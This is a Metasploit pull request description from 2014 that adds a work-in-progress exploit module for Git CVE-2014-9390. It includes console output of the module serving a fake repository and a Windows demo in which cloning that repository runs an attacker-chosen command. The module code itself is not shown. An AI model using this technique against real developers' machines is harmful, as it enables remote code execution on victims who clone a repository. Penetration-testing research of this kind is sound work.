rapid7/metasploit-framework — pull request #4440 by jhart-r7 (2014-12-19 23:36:18+00:00)
Title: Add WIP module for Git CVE-2014-9390

This doesn't (yet) spawn a shell, but will execute commands of our choosing when a vulnerable client clones our fake repository.

This is a WIP and I welcome anyone else to assist with this PR in making it complete.

Fixes #4435.

Example:

```
msf exploit(git_cve_2014_9390) > run
[*] Exploit running as background job.
msf exploit(git_cve_2014_9390) >
[*] Using URL: http://0.0.0.0:8080/git-got
[*] Local IP: http://172.16.10.226:8080/git-got
[*] Server started.
```

Then on a Windows system, I clone the malicious repo and see that ```/tmp/id``` contains my command output:

```
Administrator@win7-git ~
$ rm -f /tmp/id && rm -Rf bad && /cygdrive/c/Program\ Files\ \(x86\)/Git/bin/git clone http://localhost:8080/git-got bad && cat /tmp/id
Cloning into 'bad'...
uid=500(Administrator) gid=544(Administrators) groups=544(Administrators)
```